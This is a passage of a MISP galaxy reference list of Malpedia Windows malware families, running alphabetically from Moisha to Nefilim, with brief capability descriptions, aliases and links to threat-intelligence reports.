Moisha Ransomware is also known as:

Table 2636. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.moisha
https://id-ransomware.blogspot.com/2022/08/moisha-ransomware.html

Moker

The tag is: *misp-galaxy:malpedia="Moker"*

Moker is also known as:

Table 2637. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.moker
https://breakingmalware.com/malware/moker-part-2-capabilities/
https://blog.malwarebytes.com/threat-analysis/2017/04/elusive-moker-trojan/
https://breakingmalware.com/malware/moker-part-1-dissecting-a-new-apt-under-the-microscope/
http://blog.ensilo.com/moker-a-new-apt-discovered-within-a-sensitive-network

Mokes (Windows)

The tag is: *misp-galaxy:malpedia="Mokes (Windows)"*

Mokes (Windows) is also known as:

Table 2638. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.mokes
https://securelist.com/mokes-and-buerak-distributed-under-the-guise-of-security-certificates/96324/
https://securelist.com/from-linux-to-windows-new-family-of-cross-platform-desktop-backdoors-discovered/73503/

Mole

The tag is: *misp-galaxy:malpedia="Mole"*

Mole is also known as:

Table 2639. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.mole
https://www.cert.pl/en/news/single/mole-ransomware-analysis-and-decryptor/
https://www.proofpoint.com/us/threat-insight/post/adgholas-malvertising-campaign-using-astrum-ek-deliver-mole-ransomware

MoleNet

MoleNet is a .NET downloader malware used by the Molerats group in targeted attacks in the Middle East. Before downloading additional payloads, it first collects information about the infected machine using WMI queries and sends the data to its operators. It was first discovered in 2020, however, Cybereason researchers showed that it has been in use since at least 2019, with infrastructure that operated since 2017.

The tag is: *misp-galaxy:malpedia="MoleNet"*

MoleNet is also known as:

Table 2640. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.molenet
https://www.cybereason.com/blog/new-malware-arsenal-abusing-cloud-platforms-in-middle-east-espionage-campaign

Molerat Loader

The tag is: *misp-galaxy:malpedia="Molerat Loader"*

Molerat Loader is also known as:

Table 2641. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.molerat_loader
https://www.cybereason.com/hubfs/dam/collateral/reports/Molerats-in-the-Cloud-New-Malware-Arsenal-Abuses-Cloud-Platforms-in-Middle-East-Espionage-Campaign.pdf
http://www.clearskysec.com/iec/
https://www.0ffset.net/reverse-engineering/malware-analysis/molerats-string-decryption/
https://unit42.paloaltonetworks.com/molerats-delivers-spark-backdoor/
https://www.proofpoint.com/us/blog/threat-insight/new-ta402-molerats-malware-targets-governments-middle-east

Monero Miner

The tag is: *misp-galaxy:malpedia="Monero Miner"*

Monero Miner is also known as:

- CoinMiner

Table 2642. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.monero_miner
https://thedfirreport.com/2021/01/18/all-that-for-a-coinminer/
https://news.sophos.com/en-us/2021/10/24/node-poisoning-hijacked-package-delivers-coin-miner-and-credential-stealing-backdoor
https://www.welivesecurity.com/2017/09/28/monero-money-mining-malware/

mongall

The tag is: *misp-galaxy:malpedia="mongall"*

mongall is also known as:

Table 2643. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.mongall
https://www.sentinelone.com/labs/aoqin-dragon-newly-discovered-chinese-linked-apt-has-been-quietly-spying-on-organizations-for-10-years/

MontysThree

The tag is: *misp-galaxy:malpedia="MontysThree"*

MontysThree is also known as:

- MT3

Table 2644. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.montysthree
https://securelist.com/montysthree-industrial-espionage/98972/

MoonBounce

MoonBounce is a malware embedded into a modified UEFI firmware. Placed into SPI flash, it can provide persistence across full reinstall and even disk replacements. MoonBounce deploys user-mode malware through in-memory staging with a small footprint.

The tag is: *misp-galaxy:malpedia="MoonBounce"*

MoonBounce is also known as:

Table 2645. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.moonbounce
https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2022/01/19115831/MoonBounce_technical-details_eng.pdf
https://securelist.com/moonbounce-the-dark-side-of-uefi-firmware/105468/
https://www.binarly.io/posts/A_deeper_UEFI_dive_into_MoonBounce/index.html
https://habr.com/ru/amp/post/668154/

MoonWind

The tag is: *misp-galaxy:malpedia="MoonWind"*

MoonWind is also known as:

Table 2646. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.moonwind
http://researchcenter.paloaltonetworks.com/2017/03/unit42-trochilus-rat-new-moonwind-rat-used-attack-thai-utility-organizations/

MoriAgent

The tag is: *misp-galaxy:malpedia="MoriAgent"*

MoriAgent is also known as:

Table 2647. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.moriagent
https://twitter.com/Timele9527/status/1272776776335233024
https://www.cisa.gov/uscert/ncas/alerts/aa22-055a

https://securelist.com/apt-trends-report-q3-2020/99204/
https://www.inforisktoday.com/muddywater-targets-critical-infrastructure-in-asia-europe-a-18611
https://live.paloaltonetworks.com/t5/custom-signatures/how-to-stop-mortiagent-malware-using-the-snort-rule/td-p/326590#
https://www.cisa.gov/uscert/sites/default/files/publications/AA22-055A_Iranian_Government-Sponsored_Actors_Conduct_Cyber_Operations.pdf
https://www.cybercom.mil/Media/News/Article/2897570/iranian-intel-cyber-suite-of-malware-uses-open-source-tools/

Moriya

This tool is a passive backdoor which allows attackers to inspect all incoming traffic to the infected machine, filter out packets that are marked as designated for the malware and respond to them. This forms a covert channel over which attackers are able to issue shell commands and receive back their outputs.

The tag is: *misp-galaxy:malpedia="Moriya"*

Moriya is also known as:

Table 2648. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.moriya
https://securelist.com/operation-tunnelsnake-and-moriya-rootkit/101831/

Morphine

The tag is: *misp-galaxy:malpedia="Morphine"*

Morphine is also known as:

Table 2649. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.morphine

Morto

The tag is: *misp-galaxy:malpedia="Morto"*

Morto is also known as:

Table 2650. Table References

Links

https://malpedia.caad.fkie.fraunhofer.de/details/win.morto
https://www.f-secure.com/weblog/archives/00002227.html
https://www.microsoft.com/en-us/wdsi/threats/malware-encyclopedia-description?Name=Worm:Win32/Morto.A
http://contagiodump.blogspot.com/2011/08/aug-28-morto-tsclient-rdp-worm-with.html

MosaicRegressor

The tag is: *misp-galaxy:malpedia="MosaicRegressor"*

MosaicRegressor is also known as:

Table 2651. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.mosaic_regressor
https://securelist.com/mosaicregressor/98849/

Moserpass

The tag is: *misp-galaxy:malpedia="Moserpass"*

Moserpass is also known as:

Table 2652. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.moserpass
https://www.csis.dk/newsroom-blog-overview/2021/moserpass-supply-chain/

Mosquito

The tag is: *misp-galaxy:malpedia="Mosquito"*

Mosquito is also known as:

Table 2653. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.mosquito
https://www.welivesecurity.com/2020/03/12/tracking-turla-new-backdoor-armenian-watering-holes/
https://www.recordedfuture.com/turla-apt-infrastructure/
https://securelist.com/shedding-skin-turlas-fresh-faces/88069/

https://www.secureworks.com/research/threat-profiles/iron-hunter
https://www.welivesecurity.com/wp-content/uploads/2018/01/ESET_Turla_Mosquito.pdf
https://www.welivesecurity.com/2018/05/22/turla-mosquito-shift-towards-generic-tools/

Mount Locker

The tag is: *misp-galaxy:malpedia="Mount Locker"*

Mount Locker is also known as:

- QuantumLocker

Table 2654. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.mount_locker
https://www.trendmicro.com/en_us/research/21/j/ransomware-operators-found-using-new-franchise-business-model.html
https://www.bleepingcomputer.com/news/security/mount-locker-ransomware-joins-the-multi-million-dollar-ransom-game/
https://dissectingmalwa.re/between-a-rock-and-a-hard-place-exploring-mount-locker-ransomware.html
https://securityintelligence.com/posts/itg23-crypters-cooperation-between-cybercriminal-groups/
https://www.bleepingcomputer.com/news/security/mount-locker-ransomware-now-targets-your-turbotax-tax-returns/
https://chuongdong.com/reverse%20engineering/2021/05/23/MountLockerRansomware/
https://thedfirreport.com/2021/10/18/icedid-to-xinglocker-ransomware-in-24-hours/
https://kienmanowar.wordpress.com/2021/08/04/quicknote-mountlocker-some-pseudo-code-snippets/
https://securityscorecard.pathfactory.com/research/quantum-ransomware
https://docs.google.com/spreadsheets/d/1MI8Z2tBhmqQ5X8Wf_ozv3dVjz5sJOs-3
https://www.guidepointsecurity.com/mount-locker-ransomware-steps-up-counter-ir-capabilities/
https://news.sophos.com/en-us/2021/03/31/sophos-mtr-in-real-time-what-is-astro-locker-team/
https://www.bleepingcomputer.com/news/security/biotech-research-firm-miltenyi-biotec-hit-by-ransomware-data-leaked/
https://www.crowdstrike.com/blog/prophet-spider-exploits-oracle-weblogic-to-facilitate-ransomware-activity/
https://intel471.com/blog/how-cybercriminals-create-turbulence-for-the-transportation-industry
https://www.cybereason.com/blog/cybereason-vs.-quantum-locker-ransomware
https://query.prod.cms.rt.microsoft.com/cms/api/am/binary/RE54L7v

https://symantec-enterprise-blogs.security.com/blogs/threat-intelligence/ransomware-virtual-machines
https://go.crowdstrike.com/rs/281-OBQ-266/images/Report2021GTR.pdf
https://github.com/Finch4/Malware-Analysis-Reports/tree/main/MountLocker
https://blogs.blackberry.com/en/2021/11/zebra2104
https://blogs.blackberry.com/en/2020/12/mountlocker-ransomware-as-a-service-offers-double-extortion-capabilities-to-affiliates

Moure

The tag is: *misp-galaxy:malpedia="Moure"*

Moure is also known as:

Table 2655. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.moure

mozart

The tag is: *misp-galaxy:malpedia="mozart"*

mozart is also known as:

Table 2656. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.mozart
https://github.com/malware-kitten/securitykitten.github.io/blob/master/_posts/2015-01-11-the-mozart-ram-scraper.md
https://securitykitten.github.io/2015/01/11/the-mozart-ram-scraper.html

MPKBot

The tag is: *misp-galaxy:malpedia="MPKBot"*

MPKBot is also known as:

- MPK

Table 2657. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.mpkbot

https://blog.checkpoint.com/wp-content/uploads/2015/11/rocket-kitten-report.pdf
https://researchcenter.paloaltonetworks.com/2017/02/unit42-magic-hound-campaign-attacks-saudi-targets/

MRAC

Ransomware.

The tag is: *misp-galaxy:malpedia="MRAC"*

MRAC is also known as:

Table 2658. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.mrac
https://id-ransomware.blogspot.com/2021/12/mrac-ransomware.html

MrDec

Ransomware.

The tag is: *misp-galaxy:malpedia="MrDec"*

MrDec is also known as:

Table 2659. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.mrdec
https://dissectingmalwa.re/i-literally-cant-think-of-a-fitting-pun-mrdec-ransomware.html

MrPeter

The tag is: *misp-galaxy:malpedia="MrPeter"*

MrPeter is also known as:

Table 2660. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.mr_peter
https://github.com/mrfr05t/Mr.Peter

MulCom

The tag is: *misp-galaxy:malpedia="MulCom"*

MulCom is also known as:

Table 2661. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.mulcom
https://decoded.avast.io/luigicamastra/operation-dragon-castling-apt-group-targeting-betting-companies

Multigrain POS

The tag is: *misp-galaxy:malpedia="Multigrain POS"*

Multigrain POS is also known as:

Table 2662. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.multigrain_pos
https://www.fireeye.com/blog/threat-research/2016/04/multigrain_pointo.html
https://www.pandasecurity.com/mediacenter/malware/multigrain-malware-pos/

murkytop

```
a command-line reconnaissance tool. It can be used to execute files as a different
user, move, and delete files locally, schedule remote AT jobs, perform host discovery
on connected networks, scan for open ports on hosts in a connected network, and
retrieve information about the OS, users, groups, and shares on remote hosts.
```

The tag is: *misp-galaxy:malpedia="murkytop"*

murkytop is also known as:

Table 2663. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.murkytop
https://www.fireeye.com/blog/threat-research/2018/03/suspected-chinese-espionage-group-targeting-maritime-and-engineering-industries.html
https://www.secureworks.com/research/threat-profiles/bronze-mohawk

Murofet

The tag is: *misp-galaxy:malpedia="Murofet"*

Murofet is also known as:

Table 2664. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.murofet
https://www.cert.ssi.gouv.fr/uploads/CERTFR-2020-CTI-008.pdf
https://cert.ssi.gouv.fr/uploads/20220427_NP_TLPWHITE_ANSSI_FIN7.pdf
https://www.wired.com/2017/03/russian-hacker-spy-botnet/
https://www.secureworks.com/research/evolution-of-the-gold-evergreen-threat-group

Mutabaha

The tag is: *misp-galaxy:malpedia="Mutabaha"*

Mutabaha is also known as:

Table 2665. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.mutabaha
http://vms.drweb.ru/virus/?_is=1&i=8477920

MyDogs

The tag is: *misp-galaxy:malpedia="MyDogs"*

MyDogs is also known as:

Table 2666. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.mydogs
https://www.pwc.co.uk/issues/cyber-security-services/research/tracking-kimsuky-north-korea-based-cyber-espionage-group-part-1.htmlhttps://www.pwc.co.uk/issues/cyber-security-data-privacy/research/tracking-kimsuky-north-korea-based-cyber-espionage-group-part-2.html
https://www.virusbulletin.com/virusbulletin/2020/03/vb2019-paper-kimsuky-group-tracking-king-spearphishing/
https://www.pwc.co.uk/issues/cyber-security-data-privacy/research/tracking-kimsuky-north-korea-based-cyber-espionage-group-part-2.html

https://www.pwc.co.uk/issues/cyber-security-services/research/tracking-kimsuky-north-korea-based-cyber-espionage-group-part-1.html

MyDoom

The tag is: *misp-galaxy:malpedia="MyDoom"*

MyDoom is also known as:

- Mimail
- Novarg

Table 2667. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.mydoom
https://blog.lexfo.fr/ressources/Lexfo-WhitePaper-The_Lazarus_Constellation.pdf
https://www.giac.org/paper/gcih/568/mydoom-dom-anlysis-mydoom-virus/106069
https://www.giac.org/paper/gcih/619/mydoom-backdoor/106503
http://ivanlef0u.fr/repo/madchat/vxdevl/papers/analysis/mydoom_b_analysis.pdf
https://www.malware-traffic-analysis.net/2018/12/19/index.html

MyKings Spreader

The tag is: *misp-galaxy:malpedia="MyKings Spreader"*

MyKings Spreader is also known as:

Table 2668. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.mykings_spreader
https://sophos.files.wordpress.com/2019/12/mykings_report_final.pdf
https://decoded.avast.io/janrubin/the-king-is-dead-long-live-mykings/
https://www.proofpoint.com/us/threat-insight/post/smominru-monero-mining-botnet-making-millions-operators
AhnLabAnalysis%20Report_MyKings%20Botnet.pdf[AhnLabAnalysis%20Report_MyKings%20Botnet.pdf]
https://blog.talosintelligence.com/2020/07/valak-emerges.html
http://blog.netlab.360.com/mykings-the-botnet-behind-multiple-active-spreading-botnets/

MyloBot

The tag is: *misp-galaxy:malpedia="MyloBot"*

MyloBot is also known as:

- FakeDGA
- WillExec

Table 2669. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.mylobot
http://blog.talosintelligence.com/2017/10/threat-round-up-1020-1017.html
https://www.deepinstinct.com/2018/06/20/meet-mylobot-a-new-highly-sophisticated-never-seen-before-botnet-thats-out-in-the-wild/
https://blogs.akamai.com/sitr/2021/01/detecting-mylobot-unseen-dga-based-malware-using-deep-learning.html
https://github.com/360netlab/DGA/issues/36
https://blog.centurylink.com/mylobot-continues-global-infections/
http://www.freebuf.com/column/153424.html

MysterySnail

The tag is: *misp-galaxy:malpedia="MysterySnail"*

MysterySnail is also known as:

Table 2670. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.mystery_snail
https://securelist.com/mysterysnail-attacks-with-windows-zero-day/104509/

MZRevenge

The tag is: *misp-galaxy:malpedia="MZRevenge"*

MZRevenge is also known as:

- MaMo434376

Table 2671. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.mzrevenge

https://dissectingmalwa.re/a-projectexe-that-should-have-stayed-in-a-drawer-mzrevenge-mamo434376.html

N40

Botnet with focus on banks in Latin America and South America. Relies on DLL Sideloading attacks to execute malicious DLL files. Uses legitimate VMWare executable in attacks. As of March 2019, the malware is under active development with updated versions coming out on persistent basis.

The tag is: *misp-galaxy:malpedia="N40"*

N40 is also known as:

Table 2672. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.n40
https://socprime.com/en/news/attackers-exploit-dll-hijacking-to-bypass-smartscreen/
https://www.slideshare.net/elevenpaths/n40-the-botnet-created-in-brazil-which-evolves-to-attack-the-chilean-banking-sector
http://blog.en.elevenpaths.com/2018/05/new-report-malware-attacks-chilean.html
http://reversingminds-blog.logdown.com/posts/7807545-analysis-of-advanced-brazilian-banker-malware

Nabucur

The tag is: *misp-galaxy:malpedia="Nabucur"*

Nabucur is also known as:

Table 2673. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.nabucur

NACHOCHEESE

According to FireEye, NACHOCHEESE is a command-line tunneler that accepts delimited C&C IPs or domains via command-line and gives actors shell access to a victim's system.

The tag is: *misp-galaxy:malpedia="NACHOCHEESE"*

NACHOCHEESE is also known as:

- Cyruslish
- TWOPENCE

- VIVACIOUSGIFT

Table 2674. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.nachocheese
https://blog.lexfo.fr/ressources/Lexfo-WhitePaper-The_Lazarus_Constellation.pdf
https://us-cert.cisa.gov/ncas/analysis-reports/ar20-239b
https://baesystemsai.blogspot.com/2017/02/lazarus-false-flag-malware.html
https://www.fireeye.com/content/dam/fireeye-www/current-threats/pdfs/pf/apt/rpt-apt38-2018.pdf
https://www.welivesecurity.com/2017/02/16/demystifying-targeted-malware-used-polish-banks/

Nagini

The tag is: *misp-galaxy:malpedia="Nagini"*

Nagini is also known as:

Table 2675. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.nagini
http://bestsecuritysearch.com/voldemortnagini-ransomware-virus/

Naikon

The tag is: *misp-galaxy:malpedia="Naikon"*

Naikon is also known as:

- Sacto

Table 2676. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.naikon
https://www2.fireeye.com/rs/fireeye/images/rpt-apt30.pdf
https://web.archive.org/web/20200509171721/https://raw.githubusercontent.com/fdiskyou/threat-INTel/master/2015/GlobalThreatIntelReport.pdf
https://securelist.com/analysis/publications/69953/the-naikon-apt/

Nanocore RAT

Nanocore is a Remote Access Tool used to steal credentials and to spy on cameras. It as been used for a while by numerous criminal actors as well as by nation state threat actors.

The tag is: *misp-galaxy:malpedia="Nanocore RAT"*

Nanocore RAT is also known as:

- Nancrat
- NanoCore

Table 2677. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.nanocore
https://blog.360totalsecurity.com/en/vendetta-new-threat-actor-from-europe/
https://umbrella.cisco.com/blog/navigating-cybersecurity-during-a-pandemic-latest-malware-and-threat-actors
https://www.trendmicro.com/vinfo/us/security/news/cybercrime-and-digital-threats/how-cybercriminals-abuse-cloud-tunneling-services
https://www.zscaler.com/blogs/security-research/catching-rats-over-custom-protocols
https://blog.talosintelligence.com/2020/02/coronavirus-themed-malware.html
https://www.intezer.com/wp-content/uploads/2021/02/Intezer-2020-Go-Malware-Round-Up.pdf
https://medium.com/@the_abjuri5t/nanocore-rat-hunting-guide-cb185473c1e0
https://community.riskiq.com/article/ade260c6
https://www.proofpoint.com/us/blog/threat-insight/threat-actor-profile-ta2719-uses-colorful-lures-deliver-rats-local-languages
https://www.proofpoint.com/us/threat-insight/post/new-whiteshadow-downloader-uses-microsoft-sql-retrieve-malware
https://www.gdatasoftware.com/blog/global-pandemic-remcos-tesla-netwire
https://www.trendmicro.com/en_us/research/21/k/campaign-abusing-rats-uses-fake-websites.html
https://us-cert.cisa.gov/ncas/alerts/aa20-345a
https://assets.virustotal.com/reports/2021trends.pdf
https://www.ciphertechsolutions.com/roboski-global-recovery-automation/
https://www.secureworks.com/research/threat-profiles/cobalt-trinity
https://mp.weixin.qq.com/s/mstwBMkS0G3Et4GOji2mwA
https://medium.com/@M3HS1N/malware-analysis-nanocore-rat-6cae8c6df918
https://securityintelligence.com/posts/roboski-global-recovery-automation/
https://goggleheadedhacker.com/blog/post/11
https://medium.com/@mariohenkel/decrypting-nanocore-config-and-dump-all-plugins-f4944bfaba52?sk=00be46bc5bf99e8ab67369152ceb0332
https://labs.bitdefender.com/2020/03/5-times-more-coronavirus-themed-malware-reports-during-march/?utm_campaign=twitter&utm_medium=twitter&utm_source=twitter

https://blogs.blackberry.com/en/2022/05/dot-net-stubs-sowing-the-seeds-of-discord
https://researchcenter.paloaltonetworks.com/2018/08/unit42-gorgon-group-slithering-nation-state-cybercrime/
https://www.ic3.gov/media/news/2020/200917-1.pdf
https://www.trustwave.com/en-us/resources/blogs/spiderlabs-blog/image-file-trickery-part-ii-fake-icon-delivers-nanocore/
https://malwareindepth.com/defeating-nanocore-and-cypherit/
https://www.zscaler.com/blogs/research/multistage-freedom-loader-used-spread-azorult-and-nanocore-rat
https://www.trendmicro.com/en_us/research/21/i/Water-Basilisk-Uses-New-HCrypt-Variant-to-Flood-Victims-with-RAT-Payloads.html
https://github.com/threatland/TL-TROJAN/tree/master/TL.RAT/RAT.Win.Nanocore
https://threatrecon.nshc.net/2019/09/19/sectorh01-continues-abusing-web-services/
https://zero2auto.com/2020/06/07/dealing-with-obfuscated-macros/
https://blog.talosintelligence.com/2022/01/nanocore-netwire-and-asyncrat-spreading.html
https://www.fireeye.com/blog/threat-research/2017/09/apt33-insights-into-iranian-cyber-espionage.html
https://medium.com/@mariohenkel/decrypting-nanocore-config-and-dump-all-plugins-f4944bfaba52
https://intel471.com/blog/privateloader-malware
https://www.trendmicro.com/content/dam/trendmicro/global/en/research/21/i/ssl-tls-technical-brief/ssl-tls-technical-brief.pdf
https://www.crowdstrike.com/blog/weaponizing-disk-image-files-analysis/
https://blog.talosintelligence.com/2020/12/2020-year-in-malware.html
https://community.riskiq.com/article/24759ad2
https://blog.360totalsecurity.com/en/bayworld-event-cyber-attack-against-foreign-trade-industry/
https://www.proofpoint.com/us/blog/threat-insight/new-threat-actor-spoofs-philippine-government-covid-19-health-data-widespread
https://www.spamhaus.org/news/images/botnet-report-2020-q2/2020-q2-spamhaus-botnet-threat-report.pdf
https://blog.morphisec.com/syk-crypter-discord
https://www.bleepingcomputer.com/news/security/nanocore-rat-author-gets-33-months-in-prison/
https://symantec-blogs.broadcom.com/blogs/threat-intelligence/elfin-apt33-espionage
https://blog.talosintelligence.com/2021/04/a-year-of-fajan-evolution-and-bloomberg.html
https://symantec-enterprise-blogs.security.com/blogs/threat-intelligence/elfin-indictments-iran-espionage
https://www.symantec.com/blogs/threat-intelligence/elfin-apt33-espionage

NanoLocker

The tag is: *misp-galaxy:malpedia="NanoLocker"*

NanoLocker is also known as:

Table 2678. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.nano_locker

Narilam

The tag is: *misp-galaxy:malpedia="Narilam"*

Narilam is also known as:

Table 2679. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.narilam
https://www.symantec.com/connect/blogs/w32narilam-business-database-sabotage
http://contagiodump.blogspot.com/2012/12/nov-2012-w32narilam-sample.html

Nautilus

The tag is: *misp-galaxy:malpedia="Nautilus"*

Nautilus is also known as:

Table 2680. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.nautilus
https://www.ncsc.gov.uk/alerts/turla-group-malware
https://www.secureworks.com/research/threat-profiles/iron-hunter
https://www.ncsc.gov.uk/news/turla-group-exploits-iran-apt-to-expand-coverage-of-victims

NavRAT

The tag is: *misp-galaxy:malpedia="NavRAT"*

NavRAT is also known as:

- JinhoSpy

Table 2681. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.navrat
https://blog.lexfo.fr/ressources/Lexfo-WhitePaper-The_Lazarus_Constellation.pdf
https://blog.talosintelligence.com/2018/05/navrat.html?m=1
https://i.blackhat.com/asia-21/Friday-Handouts/as-21-Kuo-We-Are-About-To-Land-How-CloudDragon-Turns-A-Nightmare-Into-Reality.pdf
https://www.youtube.com/watch?v=rfzmHjZX70s
https://norfolkinfosec.com/how-to-analyzing-a-malicious-hangul-word-processor-document-from-a-dprk-threat-actor-group/

nccTrojan

The tag is: *misp-galaxy:malpedia="nccTrojan"*

nccTrojan is also known as:

Table 2682. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.ncctrojan
https://www.socinvestigation.com/chinese-new-backdoor-deployed-for-cyberespionage/
https://vblocalhost.com/uploads/VB2020-20.pdf
https://sebdraven.medium.com/actor-behind-operation-lagtime-targets-russia-f8c277dc52a9
https://twitter.com/ESETresearch/status/1441139057682104325?s=20
https://vblocalhost.com/uploads/VB2020-Ozawa-etal.pdf
https://ics-cert.kaspersky.com/media/Kaspersky-ICS-CERT-Targeted-attack-on-industrial-enterprises-and-public-institutions-En.pdf
https://insight-jp.nttsecurity.com/post/102gr6l/ta428ncctrojan
https://www.youtube.com/watch?v=1WfPlgtfWnQ

Nebulae

The tag is: *misp-galaxy:malpedia="Nebulae"*

Nebulae is also known as:

Table 2683. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.nebulae
https://www.securityweek.com/chinese-cyberspies-target-military-organizations-asia-new-malware

https://www.bitdefender.com/files/News/CaseStudies/study/396/Bitdefender-PR-Whitepaper-NAIKON-creat5397-en-EN.pdf
https://www.bleepingcomputer.com/news/security/cyberspies-target-military-organizations-with-new-nebulae-backdoor/
https://twitter.com/SyscallE/status/1390339497804636166
https://www.cybereason.com/blog/deadringer-exposing-chinese-threat-actors-targeting-major-telcos

Necurs

The tag is: *misp-galaxy:malpedia="Necurs"*

Necurs is also known as:

- nucurs

Table 2684. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.necurs
https://intel471.com/blog/a-brief-history-of-ta505
https://research.nccgroup.com/2021/12/01/tracking-a-p2p-network-related-with-ta505/
https://blog.avast.com/botception-with-necurs-botnet-distributes-script-with-bot-capabilities-avast-threat-labs
https://www.trustwave.com/Resources/SpiderLabs-Blog/Necurs-Recurs/
https://www.proofpoint.com/us/threat-insight/post/holiday-lull-not-so-much
https://lokalhost.pl/txt/peering.into.spam.botnets.VirusBulletin2017.pdf
http://www.secureworks.com/research/threat-profiles/gold-riverview
https://blog.trendmicro.com/trendlabs-security-intelligence/necurs-evolves-to-evade-spam-detection-via-internet-shortcut-file/
https://www.shadowserver.org/news/has-the-sun-set-on-the-necurs-botnet/
https://cofense.com/necurs-targeting-banks-pub-file-drops-flawedammyy/
https://blog.intel471.com/2020/05/21/a-brief-history-of-ta505/
https://blogs.microsoft.com/on-the-issues/2020/03/10/necurs-botnet-cyber-crime-disrupt/
https://www.secureworks.com/research/threat-profiles/gold-riverview
https://www.blueliv.com/wp-content/uploads/2018/07/Blueliv-Necurs-report-2017.pdf
https://www.cert.ssi.gouv.fr/uploads/CERTFR-2020-CTI-008.pdf
https://go.crowdstrike.com/rs/281-OBQ-266/images/Report2020CrowdStrikeGlobalThreatReport.pdf
http://blog.talosintelligence.com/2017/03/necurs-diversifies.html

https://blog.trendmicro.com/trendlabs-security-intelligence/the-new-face-of-necurs-noteworthy-changes-to-necurs-behaviors
https://www.bitsighttech.com/blog/necurs-proxy-module-with-ddos-features
https://www.cert.pl/en/news/single/necurs-hybrid-spam-botnet/

NedDnLoader

The tag is: *misp-galaxy:malpedia="NedDnLoader"*

NedDnLoader is also known as:

Table 2685. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.neddnloader
https://go.crowdstrike.com/rs/281-OBQ-266/images/Report2020OverWatchNowheretoHide.pdf
https://go.crowdstrike.com/rs/281-OBQ-266/images/Report2021GTR.pdf

Nefilim

According to Vitali Kremez and Michael Gillespie, this ransomware shares much code with Nemty 2.5. A difference is removal of the RaaS component, which was switched to email communications for payments. Uses AES-128, which is then protected RSA2048.

The tag is: *misp-galaxy:malpedia="Nefilim"*

Nefilim is also known as:

- Nephilim

Table 2686. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.nefilim
https://id-ransomware.blogspot.com/2020/03/nefilim-ransomware.html
https://securelist.com/evolution-of-jsworm-ransomware/102428/
https://blog.qualys.com/vulnerabilities-research/2021/05/12/nefilim-ransomware
https://www.bleepingcomputer.com/news/security/three-more-ransomware-families-create-sites-to-leak-stolen-data/
https://www.intezer.com/wp-content/uploads/2021/02/Intezer-2020-Go-Malware-Round-Up.pdf
https://vulnerability.ch/2021/04/ransomware-and-date-leak-site-publication-time-analysis/
https://www.trendmicro.com/en_us/research/21/b/nefilim-ransomware.html

https://documents.trendmicro.com/assets/white_papers/wp-modern-ransomwares-double-extortion-tactics.pdf
https://www.blackberry.com/content/dam/blackberry-com/asset/enterprise/pdf/wp-spark-state-of-ransomware.pdf
https://www.trendmicro.com/en_us/research/21/f/nefilim-modern-ransomware-attack-story.html
https://www.bleepingcomputer.com/news/security/new-nefilim-ransomware-threatens-to-release-victims-data/
https://docs.google.com/spreadsheets/d/1MI8Z2tBhmqQ5X8Wf_ozv3dVjz5sJOs-3
https://us-cert.cisa.gov/ncas/alerts/aa20-345a
https://www.accenture.com/us-en/blogs/cyber-defense/evolving-danger-ransomware-extortion
https://www.cert.govt.nz/it-specialists/advisories/active-ransomware-campaign-leveraging-remote-access-technologies/
https://www.hornetsecurity.com/en/security-informationen-en/leakware-ransomware-hybrid-attacks/
https://www.picussecurity.com/resource/blog/how-to-beat-nefilim-ransomware-attacks
https://news.sophos.com/en-us/2022/03/17/the-ransomware-threat-intelligence-center/
https://www.mandiant.com/resources/financially-motivated-actors-are-expanding-access-into-ot
